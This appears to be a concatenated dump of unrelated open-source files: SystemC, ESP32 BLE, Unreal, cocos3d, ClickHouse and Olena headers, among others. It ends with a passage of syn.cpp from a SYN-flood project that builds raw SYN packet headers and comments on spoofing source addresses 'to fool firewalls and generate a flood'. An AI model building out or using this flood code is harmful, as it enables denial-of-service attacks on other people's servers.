RF2<<all_lines[i];
}
n++;
if(i != all_lines.size()-1)
RF2<<endl;
}
RF2.close();
}
SC_CTOR(Third_pipe)
{
SC_METHOD(write_back);
sensitive << res_address;
}
~Third_pipe(){}
};
#endif |
2fd8e106bcdbbab35637e9950c8c233e1e51d955 | b4382d6624e51613e4241559f52fb31a056bbf79 | /include/movement/AsyncAction.hpp | 313102d8f3ebd471a62bd29a260651ccb9fb1aef | [] | no_license | the7dorks/2020-annotated-robot-code | 698a15c252324e580bdbfe150112f0afb3e39313 | 226d86fb05adc9fcce9322d7766b178cf691df67 | refs/heads/main | 2023-01-02T16:37:59.553577 | 2020-10-29T02:05:11 | 2020-10-29T02:05:11 | 307,797,117 | 0 | 1 | null | null | null | null | UTF-8 | C++ | false | false | 750 | hpp | AsyncAction.hpp | /**
* AsyncAction.hpp
*
* This file contains the definition of the AsyncAction struct.
* AsyncActions are objects that have an action (maction) and
* a certain error where the action should be executed (merror).
* It is used by motions in the Drivetrain class to run asynchronus
* actions at a certain distance from the target.
*/
#pragma once // makes sure the file is only included once
#include "main.h" // gives access to objects declared elsewhere
struct AsyncAction
{
AsyncAction(double ierror, std::function<void()> iaction)
: merror(ierror), maction(iaction) // constructor
{
}
double merror; // error value at which the loop will execute the action
std::function<void()> maction; // action to execute
};
|
6e961e4daae80a56816fac177cc00d4627590d0f | fe103cd6f3fb81e74ec3e1108cb51a269b6c3c6c | /foundation/utility/fundamental.hpp | 0418909805ca71e19c7c65ff3d6d1777881e031a | [] | no_license | abdulla/ooe | c08ba08972526717fcae7e5726f5eb79659d1d07 | ef0aecd09329a845178c78db519a0bd4a6eecacf | refs/heads/master | 2021-05-01T01:09:13.266563 | 2012-12-29T06:28:59 | 2012-12-29T06:28:59 | 2,449,985 | 2 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 2,451 | hpp | fundamental.hpp | /* Copyright (C) 2012 Abdulla Kamar. All rights reserved. */
#ifndef OOE_FOUNDATION_UTILITY_FUNDAMENTAL_HPP
#define OOE_FOUNDATION_UTILITY_FUNDAMENTAL_HPP
#include <boost/mpl/find_if.hpp>
#include <boost/mpl/pop_back.hpp>
#include <boost/mpl/reverse.hpp>
#include <boost/mpl/sizeof.hpp>
#include <boost/mpl/vector.hpp>
#include "foundation/utility/namespace.hpp"
OOE_NAMESPACE_BEGIN( ( ooe ) )
typedef boost::mpl::vector< signed char, signed short, signed int, signed long,
signed long long > signed_types;
typedef boost::mpl::vector< unsigned char, unsigned short, unsigned int, unsigned long,
unsigned long long > unsigned_types;
typedef boost::mpl::vector< float, double, long double > float_types;
typedef boost::mpl::vector< char, wchar_t > char_types;
typedef boost::mpl::reverse< boost::mpl::pop_back< signed_types >::type >::type signed_ptr;
typedef boost::mpl::reverse< boost::mpl::pop_back< unsigned_types >::type >::type unsigned_ptr;
//--- find_size ------------------------------------------------------------------------------------
template< typename sequence, unsigned size >
struct find_size
{
typedef boost::mpl::placeholders::_ _;
typedef boost::is_same< boost::mpl::sizeof_< _ >, boost::mpl::size_t< size > > predicate;
typedef typename boost::mpl::find_if< sequence, predicate >::type iterator;
typedef typename boost::mpl::deref< iterator >::type type;
};
//--- fundamental ----------------------------------------------------------------------------------
typedef find_size< signed_types, 1 >::type s8;
typedef find_size< signed_types, 2 >::type s16;
typedef find_size< signed_types, 4 >::type s32;
typedef find_size< signed_types, 8 >::type s64;
typedef find_size< signed_ptr, sizeof( void* ) >::type sp_t;
typedef find_size< unsigned_types, 1 >::type u8;
typedef find_size< unsigned_types, 2 >::type u16;
typedef find_size< unsigned_types, 4 >::type u32;
typedef find_size< unsigned_types, 8 >::type u64;
typedef find_size< unsigned_ptr, sizeof( void* ) >::type up_t;
typedef find_size< float_types, 4 >::type f32;
typedef find_size< float_types, 8 >::type f64;
typedef find_size< char_types, 1 >::type c8;
typedef find_size< char_types, 4 >::type c32;
struct void_t;
OOE_NAMESPACE_END( ( ooe ) )
OOE_ANONYMOUS_BEGIN( ( ooe ) )
// must be anonymous so dependent types are unique
struct anonymous_t {};
OOE_ANONYMOUS_END( ( ooe ) )
#endif // OOE_FOUNDATION_UTILITY_FUNDAMENTAL_HPP
|
d713437e4b1d6bea8868c03b0218ae3125a7a720 | 58f94e68a6b41cf01413858933c1c3bc791991e7 | /ShellApp16/Plugins/PlaybackCtrl/Source/PlaybackCtrl/Public/PlaybackCtrlComponent.h | 517db8d701596c28d585a0c9171a567438b52560 | [] | no_license | kellyckj/shellapp | 69be570d19cd64b7c6b2df3b35bb266d9b4e29bb | 468d41aee0f587542b09b97f6b813cbe00488f1f | refs/heads/master | 2022-04-24T10:01:30.666194 | 2020-04-28T22:05:57 | 2020-04-28T22:36:21 | 255,726,869 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 2,992 | h | PlaybackCtrlComponent.h | // Fill out your copyright notice in the Description page of Project Settings.
#pragma once
#include "CoreMinimal.h"
#include "Components/ActorComponent.h"
#include "PlaybackCtrlInterface.h"
#include "OscDataElemStruct.h"
#include "PlaybackCtrlComponent.generated.h"
// declare the OnOscReceived event type
//DECLARE_DYNAMIC_MULTICAST_DELEGATE_ThreeParams(FComponentOscReceivedSignature, const TMap<FString, FString> &, AddressDict, const TMap<FString, FString> &, DataDict, const FString &, SenderIp);
DECLARE_DYNAMIC_MULTICAST_DELEGATE_ThreeParams(FComponentCueReceivedSignature, const FName &, Address, const TArray<FOscDataElemStruct> &, Data, const FString &, SenderIp);
UCLASS( ClassGroup=PlaybackCtrl, meta=(BlueprintSpawnableComponent) )
class PLAYBACKCTRL_API UPlaybackCtrlComponent : public UActorComponent
{
GENERATED_BODY()
public:
UPROPERTY(EditAnywhere, Category=PlaybackCtrl)
FString DepartmentFilter;
UPROPERTY(EditAnywhere, Category=PlaybackCtrl)
FString BuildFilter;
UPROPERTY(BlueprintAssignable, Category=PlaybackCrtl)
FComponentCueReceivedSignature OnCueReceived;
public:
UPlaybackCtrlComponent();
/// Hot reload constructor
UPlaybackCtrlComponent(FVTableHelper &helper);
const FString & GetDepartmentFilter() const
{
return DepartmentFilter;
}
const FString & GetBuildFilter() const
{
return BuildFilter;
}
void SendEvent(const FName & Address, const TArray<FOscDataElemStruct> & Data, const FString & SenderIp)
{
InvokeOnCueRxReplicated(Address, Data, SenderIp);
// Parse OSC message
// Current naming: /<project>/<build>/<dept>/<cue name>/<action>
// FString oscAddress = Address.ToString();
// TArray<FString> addressParts;
//
// oscAddress.ParseIntoArray(addressParts, TEXT("/"), true);
// if (addressParts.IsValidIndex(0))
// {
// if (addressParts[0] != TEXT("HighCastle") || addressParts.Num() < 5)
// {
// DLOG_PLUGIN_DEBUG("Message doesn't meet address naming requirements.");
// }
// }
// else
// DLOG_PLUGIN_DEBUG("Message address is empty.");
//
//
// TMap<FString, FString> AddressDict;
// AddressDict.Add("Build", oscAddress[1]);
// AddressDict.Add("Department", oscAddress[2]);
// for (int32 Index = 3; Index < oscAddress.Num() -1; ++Index)
// {
// AddressDict.Add("CueName_" + Index.ToString(), oscAddress[Index]);
// }
// AddressDict.Add("Action", oscAddress.Last());
}
UFUNCTION( NetMulticast, Reliable )
void InvokeOnCueRxReplicated(const FName & Address, const TArray<FOscDataElemStruct> & Data, const FString & SenderIp);
private:
void OnRegister() override;
void OnUnregister() override;
private:
BasicCueReceiver<UPlaybackCtrlComponent> listener_;
};
|
2fdd565c11322605d500ea802f6ad8e4b87eb706 | 8947812c9c0be1f0bb6c30d1bb225d4d6aafb488 | /02_Library/Include/XMCocos2D-v3/3d/AttachNode.h | 0056c2cbdaa8ed82431468ee1471c58cf09364b6 | [
"MIT"
] | permissive | alissastanderwick/OpenKODE-Framework | cbb298974e7464d736a21b760c22721281b9c7ec | d4382d781da7f488a0e7667362a89e8e389468dd | refs/heads/master | 2021-10-25T01:33:37.821493 | 2016-07-12T01:29:35 | 2016-07-12T01:29:35 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 575 | h | AttachNode.h | #ifndef ATTACHNODE_H_
#define ATTACHNODE_H_
#include <vector>
namespace cocos3d
{
class C3DNode;
class C3DSprite;
/**
*Defines a logic attach point.one
*/
class AttachNode
{
public:
friend class C3DRenderNode;
AttachNode( C3DNode* pNode, C3DNode* pOwner );
~AttachNode();
C3DNode* node() { return _node; }
void attach( C3DNode* pAttachment );
bool detach( C3DNode* pAttachment );
void update(long elapsedTime);
void draw();
private:
C3DNode* _owner;
C3DNode* _node;
std::vector<C3DNode*> _attachments;
};
}
#endif
|
d6aefbadbe2ed9600cec954267b8206b5ed3af7f | ec7cb44c93c6c5eecd96f823d30c85817b6fea4c | /src/scoop.h | c183a81c723a9e3077784cca33a8f1b8b721e054 | [] | no_license | chrisjakins/ice-cream | 99bc33203548e491dfc9a47133c9274840f62538 | 1aceb80bc8c13ec915105565646ab065730e4a30 | refs/heads/master | 2021-08-22T15:00:04.939607 | 2017-11-16T05:00:28 | 2017-11-16T05:00:28 | 107,576,057 | 0 | 0 | null | 2017-11-16T05:00:28 | 2017-10-19T17:10:10 | C++ | UTF-8 | C++ | false | false | 362 | h | scoop.h | #ifndef _SCOOP_H
#define _SCOOP_H
#include <string>
#include "item.h"
class Scoop : public Item {
public:
// Scoop(std::string, std::string, double, double, int, Gtk::Image);
/* for testing purposes before we are ready to work with images */
Scoop(std::string, std::string, double, double, int);
std::string type() override;
};
#endif
|
b635ebf2c750aedb1eefa76cb08bdd3f97ae2141 | f713bb3150fe164dbac3e94e2278d0ff2e7c2f24 | /ESP32/RidesTracker/components/ble/bluetooth.hpp | 843f7ff694745c240023b2de44457aa806d8aab1 | [] | no_license | lkubecka/IoT | 3fcb37bcb511614ac75af9b597dd8c493ef8a584 | 3fc66258bf19ac60a77626a104c4c94ab59f7c3f | refs/heads/master | 2020-12-24T12:01:35.084240 | 2018-06-22T20:11:43 | 2018-06-22T20:11:43 | 73,098,586 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 2,443 | hpp | bluetooth.hpp | #ifndef BLE_H
#define BLE_H
#include "BLECharacteristic.h"
#include "BLEDescriptor.h"
#include "BLEServer.h"
namespace kalfy
{
class BLE
{
public:
static constexpr char TAG[] = "BLE";
static constexpr char SERVICE_UUID[] = "2e88c63b-bbf5-4312-a35c-8fc7f91c7d82";
static constexpr char CHARACTERISTIC_HAS_DATA_UUID[] = "3686dd41-9af1-4b30-a464-3bee1cb4f13d";
static constexpr char CHARACTERISTIC_SEND_DATA_UUID[] ="934c3fe1-01b4-4b43-9680-639aca577f23";
static constexpr char CHARACTERISTIC_TIME_UUID[] = "31b1c4c1-49e5-4121-86bd-8841279a5bb6";
static constexpr int MAX_BLE_PACKET_SIZE = 514; // 517 maximum allowed by BLE spec, but ESP32 allows only 514
static constexpr char DESCRIPTOR_HAS_DATA[] = "516286d5-ebf2-4af8-9581-c33db072e55e";
static constexpr char DESCRIPTOR_SEND_DATA[] = "eac2d00d-841a-4a68-a30d-fb81e3a72bb3";
static constexpr char DESCRIPTOR_TIME[] = "516286d5-ebf2-4af8-9581-c33db072e55e";
static bool _BLEClientConnected;
static bool _transferRequested;
BLE(const char* filename);
void run();
private:
String _filename = "";
int _secondsPassed = 0;
void _transferFile();
void _init(void);
BLECharacteristic _hasDataCharacteristic;
BLEDescriptor _hasDataDescriptor;
BLECharacteristic _sendDataCharacteristic;
BLEDescriptor _sendDataDescriptor;
BLECharacteristic _timeCharacteristic;
BLEDescriptor _timeDescriptor;
class MyServerCallbacks : public BLEServerCallbacks {
void onConnect(BLEServer* pServer) {
kalfy::BLE::_BLEClientConnected = true;
};
void onDisconnect(BLEServer* pServer) {
kalfy::BLE::_BLEClientConnected = false;
}
};
class SendDataCharacteristicCallbacks : public BLECharacteristicCallbacks {
void onWrite(BLECharacteristic* sendDataCharacteristic) {
ESP_LOGI(TAG, "onWrite to sendData characteristic");
std::string value = sendDataCharacteristic->getValue();
if (value.compare(std::string("true")) == 0) {
kalfy::BLE::_transferRequested = true;
ESP_LOGI(TAG, "transfer requested");
}
}
};
class TimeCharacteristicCallbacks : public BLECharacteristicCallbacks {
void onWrite(BLECharacteristic* timeCharacteristic) {
ESP_LOGI(TAG, "setting time via BLE");
std::string value = timeCharacteristic->getValue();
long time = atol(value.c_str());
kalfy::time::setTime(time);
ESP_LOGI(TAG, "time set");
}
};
};
}
#endif |
84a681ede5393c267acd77bc12687cc46875d9f0 | f9737f0ba5e053fa3d4df949bed290574fe55d33 | /Checkers-JPearl/Checkers-JPearl/src/connection.h | 9829f440e033628e0741f876fbdcd79c6da5ec81 | [
"MIT"
] | permissive | JonECG/Checkers | 1b846768fc89cca6e4b5fe93617c6493dc1bc6de | 376f61f5a14d8f7d85825187d1a1548c0ae9ae29 | refs/heads/master | 2021-01-13T15:09:57.428963 | 2017-01-12T06:09:14 | 2017-01-14T05:50:19 | 78,910,683 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 3,466 | h | connection.h | #pragma once
#ifndef CONNECTION_H
#define CONNECTION_H
#include <string>
#include <mutex>
#ifdef DEBUG
#include <iostream>
#define printSockError( message ) { char error[256]; const char * customMessage = nullptr; int code = checkers::Connection::getLastError(error, 256, &customMessage);std::cout << message << " " << ((customMessage == nullptr) ? "" : customMessage )<< code << " -- " << error << std::endl; }
#else
#define printSockError(message) message;
#endif
namespace checkers
{
enum MessageType : unsigned char
{
SEND_MESSAGE = 0,
REQUEST_INPUT = 1,
WINNER_RESULT = 2,
FIN = 3,
FINACK = 4
};
class ConnectionListener;
class Connection
{
static const int kMaxMessageSize = 1280;
static const int kMaxNumberOfMessages = 3;
static int lastError_;
static bool isInit_;
static const char * connectionErrorMessage_;
static const int kAckTimeoutMilliseconds = 1000; // Wait 1 second and assume ACK was received
unsigned int socket_;
bool isHosting_:1;
bool isConnected_:1;
bool waitingForAck_:1;
// Circular buffer of messages
unsigned char idxQueuedMessagesStart_, idxQueuedMessagesEnd_;
char queuedMessages_[kMaxMessageSize * kMaxNumberOfMessages];
char currentMessage_[kMaxMessageSize];
std::mutex sendMutex, processMutex;
bool sendPayload(MessageType type, const char * data = nullptr, unsigned int length = 0);
// Starts running this connection on a new thread and keeping track of new messages
void run();
void runLoop();
public:
static void init();
static void cleanup();
static int getLastError(char * buffer = nullptr, int bufferLength = 0, const char ** outCustomMessage = nullptr);
Connection();
// Listens on the port given for any incoming connection and will write it to the given outConnection parameter. Returns whether a connection was found before timeout (in milliseconds)
static bool listenTo(const char * port, ConnectionListener &outListener, unsigned int timeout = 1000);
static bool connectTo(const char * host, const char * port, Connection &outConnection, unsigned int timeout = 1000);
void disconnect(bool waitForSendToComplete = true);
// Sends a message to the other end. Returns whether it was successful
bool sendMessage(std::string message);
// Sends the winner index to the other end. Returns whether it was successful
bool sendWinner(int result);
// Requests a message from the other end. Returns whether it was successful
bool requestInput(std::string &outResponse);
// Yields current thread until this connection has a message or disconnects. Returns whether there is a message.
bool waitUntilHasMessage() const;
// Returns whether the connection has a message waiting and prepare it
bool hasMessageWaiting() const;
// If a message is waiting return it. Pointer is to the start of the payload. Payload is invalidated on next call to processMessage(). Meta information is returned through the parameters. If no message is waiting will return nullptr
const char * processMessage(MessageType &outType, unsigned int &outLength);
bool isConnected() const;
bool isHosting() const;
friend class ConnectionListener;
};
class ConnectionListener
{
unsigned int socket_;
bool isListening_;
char address_[32];
public:
void end();
bool isListening() const;
bool acceptConnection(Connection &outConnection, unsigned int timeout = 1000);
friend class Connection;
};
}
#endif // CONNECTION_H
|
88c9cebdf81c7fd5296d576f325504bb4877e91c | 3728db88d8f8268ded2af24c4240eec9f9dc9068 | /mln/value/hsl.hh | 09019041b2f35f1a8b87bbd449c85953cf0b4f0f | [] | no_license | KDE/kolena | ca01613a49b7d37f0f74953916a49aceb162daf8 | 0e0eff22f44e3834e8ebaf2c226eaba602b1ebf6 | refs/heads/master | 2021-01-19T06:40:53.365100 | 2011-03-29T11:53:16 | 2011-03-29T11:53:16 | 42,732,429 | 2 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 9,884 | hh | hsl.hh | // Copyright (C) 2008, 2009 EPITA Research and Development Laboratory (LRDE)
//
// This file is part of Olena.
//
// Olena is free software: you can redistribute it and/or modify it under
// the terms of the GNU General Public License as published by the Free
// Software Foundation, version 2 of the License.
//
// Olena is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
// General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Olena. If not, see <http://www.gnu.org/licenses/>.
//
// As a special exception, you may use this file as part of a free
// software project without restriction. Specifically, if other files
// instantiate templates or use macros or inline functions from this
// file, or you compile this file and link it with other files to produce
// an executable, this file does not by itself cause the resulting
// executable to be covered by the GNU General Public License. This
// exception does not however invalidate any other reasons why the
// executable file might be covered by the GNU General Public License.
#ifndef MLN_VALUE_HSL_HH
# define MLN_VALUE_HSL_HH
#include <mln/value/ops.hh>
#include <mln/value/concept/vectorial.hh>
#include <mln/value/int_u.hh>
#include <mln/algebra/vec.hh>
// Used in from_to
#include <mln/fun/v2v/rgb_to_hsl.hh>
namespace mln
{
// Forward declarations.
namespace value
{
template <typename H, typename S, typename L>
class hsl_;
}
namespace convert
{
namespace over_load
{
// rgb to hsl_
void
from_to_(const value::rgb<16>& from, value::hsl_<float,float,float>& to);
// rgb to hsl_
void
from_to_(const value::rgb<8>& from, value::hsl_<float,float,float>& to);
} // end of namespace mln::convert::over_load
} // end of namespace mln::convert
namespace trait
{
template <typename H, typename S, typename L>
struct set_precise_binary_< op::plus, mln::value::hsl_<H,S,L>, mln::value::hsl_<H,S,L> >
{
typedef mln::value::hsl_<H,S,L> ret;
};
template <typename H, typename S, typename L>
struct set_precise_binary_< op::minus, mln::value::hsl_<H,S,L>, mln::value::hsl_<H,S,L> >
{
typedef mln::value::hsl_<H,S,L> ret;
};
template <typename H, typename S, typename L, typename S2>
struct set_precise_binary_< op::times, mln::value::hsl_<H,S,L>, mln::value::scalar_<S2> >
{
typedef mln::value::hsl_<H,S,L> ret;
};
template <typename H, typename S, typename L, typename S2>
struct set_precise_binary_< op::div, mln::value::hsl_<H,S,L>, mln::value::scalar_<S2> >
{
typedef mln::value::hsl_<H,S,L> ret;
};
// FIXME : Is there any way more generic? a way to factor
// set_precise_binary_< op::div, mln::value::hsl_<H,S,L>, mln::value::scalar_<S> >
// and
// set_precise_binary_< op::div, mln::value::hsl_<H,S,L>, mln::value::int_u<m> >
// as for op::times.
template <typename H, typename S, typename L, unsigned m>
struct set_precise_binary_< op::times, mln::value::hsl_<H,S,L>, mln::value::int_u<m> >
{
typedef mln::value::hsl_<H,S,L> ret;
};
template <typename H, typename S, typename L, unsigned m>
struct set_precise_binary_< op::div, mln::value::hsl_<H,S,L>, mln::value::int_u<m> >
{
typedef mln::value::hsl_<H,S,L> ret;
};
template <typename H, typename S, typename L>
struct value_< mln::value::hsl_<H,S,L> >
{
enum {
dim = 3,
nbits = (sizeof (H) + sizeof (S) + sizeof (L)) * 8,
card = mln_value_card_from_(nbits)
};
typedef trait::value::nature::vectorial nature;
typedef trait::value::kind::color kind;
typedef mln_value_quant_from_(card) quant;
typedef void comp;
typedef H comp_0;
typedef S comp_1;
typedef L comp_2;
template <typename V> static comp_0 get_comp_0(const V& v) { return v.hue(); }
template <typename V> static comp_1 get_comp_1(const V& v) { return v.sat(); }
template <typename V> static comp_2 get_comp_2(const V& v) { return v.lum(); }
// typedef algebra::vec<3, float> sum;
typedef mln::value::hsl_<H,S,L> sum;
};
} // end of namespace trait
namespace value
{
template <typename E>
struct HSL : Object<E>
{
};
template <typename H, typename S, typename L>
class hsl_ : public HSL< hsl_<H,S,L> >
{
public:
typedef H h_type;
typedef S s_type;
typedef L l_type;
/// Constructor without argument.
hsl_()
{
}
hsl_(const literal::zero_t&)
: hue_(0),
sat_(0),
lum_(0)
{
}
/// Constructor from component values.
hsl_(const H& hue, const S& sat, const L& lum)
: hue_(hue),
sat_(sat),
lum_(lum)
{
}
/// Read-only access to the hue component.
const H& hue() const;
const S& sat() const;
const L& lum() const;
/// Read-write access to the hue component.
H& hue();
S& sat();
L& lum();
private:
//FIXME: Don't we want to store these values in a vector?
H hue_;
S sat_;
L lum_;
};
// FIXME: Use float01_8/float01_16 ?
typedef hsl_<float, float, float> hsl_f;
typedef hsl_<double, double, double> hsl_d;
/// Print an hsl \p c into the output stream \p ostr.
///
/// \param[in,out] ostr An output stream.
/// \param[in] c An rgb.
///
/// \return The modified output stream \p ostr.
template <typename H, typename S, typename L>
std::ostream& operator<<(std::ostream& ostr, const hsl_<H,S,L>& c);
/// Addition.
/// {
template <typename H, typename S, typename L>
hsl_<H,S,L>
operator+(const hsl_<H,S,L>& lhs, const hsl_<H,S,L>& rhs);
/// \}
/// Subtraction.
/// \{
template <typename H, typename S, typename L>
hsl_<H,S,L>
operator-(const hsl_<H,S,L>& lhs, const hsl_<H,S,L>& rhs);
/// \}
/// Product.
/// \{
template <typename H, typename S, typename L, typename S2>
hsl_<H,S,L>
operator*(const hsl_<H,S,L>& lhs, const mln::value::scalar_<S2>& s);
/// \}
/// Division.
/// \{
template <typename H, typename S, typename L, typename S2>
hsl_<H,S,L>
operator/(const hsl_<H,S,L>& lhs, const mln::value::scalar_<S2>& s);
/// \}
/// Comparison.
/// \{
template <typename H, typename S, typename L>
bool
operator==(const hsl_<H,S,L>& lhs, const hsl_<H,S,L>& rhs);
/// \}
} // end of namespace mln::value
// More forward declarations
namespace fun
{
namespace v2v
{
template <typename T_hsl>
struct f_rgb_to_hsl_;
typedef f_rgb_to_hsl_<value::hsl_f> f_rgb_to_hsl_f_t;
extern f_rgb_to_hsl_f_t f_rgb_to_hsl_f;
}
}
# ifndef MLN_INCLUDE_ONLY
namespace value
{
template <typename H, typename S, typename L>
const H&
hsl_<H,S,L>::hue() const
{
return this->hue_;
}
template <typename H, typename S, typename L>
const S&
hsl_<H,S,L>::sat() const
{
return this->sat_;
}
template <typename H, typename S, typename L>
const L&
hsl_<H,S,L>::lum() const
{
return this->lum_;
}
template <typename H, typename S, typename L>
H&
hsl_<H,S,L>::hue()
{
return this->hue_;
}
template <typename H, typename S, typename L>
S&
hsl_<H,S,L>::sat()
{
return this->sat_;
}
template <typename H, typename S, typename L>
L&
hsl_<H,S,L>::lum()
{
return this->lum_;
}
template <typename H, typename S, typename L>
inline
std::ostream& operator<<(std::ostream& ostr, const hsl_<H,S,L>& v)
{
return ostr << '(' << debug::format(v.hue())
<< ',' << debug::format(v.sat())
<< ',' << debug::format(v.lum())
<< ')';
}
template <typename H, typename S, typename L>
hsl_<H,S,L>
operator+(const hsl_<H,S,L>& lhs, const hsl_<H,S,L>& rhs)
{
return hsl_<H,S,L>(lhs.hue() + rhs.hue(),
lhs.sat() + rhs.sat(),
lhs.lum() + rhs.lum());
}
template <typename H, typename S, typename L>
hsl_<H,S,L>
operator-(const hsl_<H,S,L>& lhs, const hsl_<H,S,L>& rhs)
{
return hsl_<H,S,L>(lhs.hue() - rhs.hue(),
lhs.sat() - rhs.sat(),
lhs.lum() - rhs.lum());
}
template <typename H, typename S, typename L, typename S2>
hsl_<H,S,L>
operator*(const hsl_<H,S,L>& lhs, const mln::value::scalar_<S2>& s)
{
return hsl_<H,S,L>(lhs.hue() * s,
lhs.sat() * s,
lhs.lum() * s);
}
template <typename H, typename S, typename L, typename S2>
hsl_<H,S,L>
operator/(const hsl_<H,S,L>& lhs, const mln::value::scalar_<S2>& s)
{
return hsl_<H,S,L>(lhs.hue() / s,
lhs.sat() / s,
lhs.lum() / s);
}
template <typename H, typename S, typename L>
bool
operator==(const hsl_<H,S,L>& lhs, const hsl_<H,S,L>& rhs)
{
return lhs.hue() == rhs.hue()
&& lhs.sat() == rhs.sat()
&& lhs.lum() == rhs.lum();
}
} // end of namespace mln::value
namespace convert
{
namespace over_load
{
inline
void
from_to_(const value::rgb<16>& from, value::hsl_<float,float,float>& to)
{
to = fun::v2v::f_rgb_to_hsl_f(from);
}
inline
void
from_to_(const value::rgb<8>& from, value::hsl_<float,float,float>& to)
{
to = fun::v2v::f_rgb_to_hsl_f(from);
}
} // end of namespace mln::convert::over_load
} // end of namespace mln::convert
# endif // ! MLN_INCLUDE_ONLY
} // end of namespace mln
#endif // ! MLN_VALUE_HSL_HH
|
9e16283267de042242cdf648edb5c933c5838944 | 804a1a6b44fe3a013352d04eaf47ea6ad89f9522 | /dbms/src/Access/AccessControlManager.cpp | 249dc54fb0944d3f06815553ee35e37cdbbf6049 | [
"Apache-2.0"
] | permissive | kssenii/ClickHouse | 680f533c3372094b92f407d49fe14692dde0b33b | 7c300d098d409772bdfb26f25c7d0fe750adf69f | refs/heads/master | 2023-08-05T03:42:09.498378 | 2020-02-13T17:49:51 | 2020-02-13T17:49:51 | 232,254,869 | 10 | 3 | Apache-2.0 | 2021-06-15T11:34:08 | 2020-01-07T06:07:06 | C++ | UTF-8 | C++ | false | false | 1,741 | cpp | AccessControlManager.cpp | #include <Access/AccessControlManager.h>
#include <Access/MultipleAccessStorage.h>
#include <Access/MemoryAccessStorage.h>
#include <Access/UsersConfigAccessStorage.h>
#include <Access/QuotaContextFactory.h>
#include <Access/RowPolicyContextFactory.h>
namespace DB
{
namespace
{
std::vector<std::unique_ptr<IAccessStorage>> createStorages()
{
std::vector<std::unique_ptr<IAccessStorage>> list;
list.emplace_back(std::make_unique<MemoryAccessStorage>());
list.emplace_back(std::make_unique<UsersConfigAccessStorage>());
return list;
}
}
AccessControlManager::AccessControlManager()
: MultipleAccessStorage(createStorages()),
quota_context_factory(std::make_unique<QuotaContextFactory>(*this)),
row_policy_context_factory(std::make_unique<RowPolicyContextFactory>(*this))
{
}
AccessControlManager::~AccessControlManager()
{
}
void AccessControlManager::loadFromConfig(const Poco::Util::AbstractConfiguration & users_config)
{
auto & users_config_access_storage = dynamic_cast<UsersConfigAccessStorage &>(getStorageByIndex(1));
users_config_access_storage.loadFromConfig(users_config);
}
std::shared_ptr<QuotaContext> AccessControlManager::createQuotaContext(
const String & user_name, const Poco::Net::IPAddress & address, const String & custom_quota_key)
{
return quota_context_factory->createContext(user_name, address, custom_quota_key);
}
std::vector<QuotaUsageInfo> AccessControlManager::getQuotaUsageInfo() const
{
return quota_context_factory->getUsageInfo();
}
std::shared_ptr<RowPolicyContext> AccessControlManager::getRowPolicyContext(const String & user_name) const
{
return row_policy_context_factory->createContext(user_name);
}
}
|
5a118a6debd764d391ace664b6bebed543f2b270 | 5e10d73d10025af779d798ac94b9a84ebe9a97be | /src/include/BaseFilter.h | e141e7740ed0f62b61424e30443a248177f833a4 | [
"MIT"
] | permissive | PlutoniumHeart/BloodVesselEnhance | 6b736d728df919a149320e8e8d48580ae2cf5b78 | b7619edcc8a6881e5c382749134cf8f267c53685 | refs/heads/master | 2021-01-10T18:45:25.286185 | 2013-11-21T06:49:24 | 2013-11-21T06:49:24 | 14,169,779 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 555 | h | BaseFilter.h | #ifndef BASEFILTER_H
#define BASEFILTER_H
#include "BaseImage.h"
#include "BaseImageSeries.h"
enum Direction
{
XDirection=1,
YDirection=2,
ZDirection=4,
Undefined,
};
enum class DataType
{
Short,
UChar,
Undefined,
};
class BaseFilter
{
public:
BaseFilter();
~BaseFilter();
//virtual void Filter(int order, float sigma, int dir) = 0;
protected:
unsigned long m_lWidth;
unsigned long m_lHeight;
unsigned long m_lDepth;
};
#endif // !BASEFILTER_H
|
5d55e9b0a4d6cbd2f87e6719fa8a03a944472927 | 6749264be647b516996967b02ab48572ca0dbd1d | /syn.cpp | eefda4b38b7d21f2382851168b310d8b986bc648 | [] | no_license | linghuazaii/syn-flood-implement | b8deef9ca8b92065043b6d6448b5c85136325ed3 | 986f413ef943568e48495aedaf3195bf3cda819e | refs/heads/master | 2020-06-14T15:31:37.713627 | 2017-07-14T02:31:41 | 2017-07-14T02:31:41 | 75,165,426 | 2 | 2 | null | null | null | null | UTF-8 | C++ | false | false | 9,882 | cpp | syn.cpp | #include "syn.h"
#include <net/if.h>
#include <arpa/inet.h>
int check_syn_config(global_config_t &config) {
if (strlen(config.host) == 0 || config.remote_port == 0) {
SF_SYSLOG("host or port is not specified.");
return -1;
}
return 0;
}
int init_syn_packet(syn_header_t &syn_header, global_config_t &config) {
/* Initialize IPv4 Header */
syn_header.ip_header.version = 4;
syn_header.ip_header.ihl = 5;
if (config.tos >= 0 && config.tos <= 7)
syn_header.ip_header.tos = (config.tos << 5) | 0x10;
else
syn_header.ip_header.tos = 0;
syn_header.ip_header.tot_len = htons(IP_HDRLEN + TCP_HDRLEN);
/*
* this field is set outside to avoid duplication of the same
* SYN packet
* => syn_header.ip_header.id = 0;
*/
syn_header.ip_header.frag_off = htons(0x4000);
if (config.ttl == 0)
syn_header.ip_header.ttl = 64;
else
syn_header.ip_header.ttl = (uint8_t)config.ttl;
syn_header.ip_header.protocol = IPPROTO_TCP;
/*
* set in the end.
* => syn_header.ip_header.check = ***
*/
/*
* this field is set outside to fool firewalls and generate a flood.
*
char source_ip[INET_ADDRSTRLEN];
if (strlen(config.eth) == 0) { // eth not set, use local ip address
if (NULL != get_primary_ip(source_ip, INET_ADDRSTRLEN)) {
struct in_addr saddr;
inet_pton(AF_INET, source_ip, &saddr);
syn_header.ip_header.saddr = saddr.s_addr;
} else {
SF_SYSLOG("get_primary_ip() failed.");
return -1;
}
} else { // eth set, use specified eth ip address
if (NULL != get_ethernet_ip(config.eth, source_ip, INET_ADDRSTRLEN)) {
struct in_addr saddr;
inet_pton(AF_INET, source_ip, &saddr);
syn_header.ip_header.saddr = saddr.s_addr;
} else {
SF_SYSLOG("get_ethernet_ip() failed.");
return -1;
}
} */
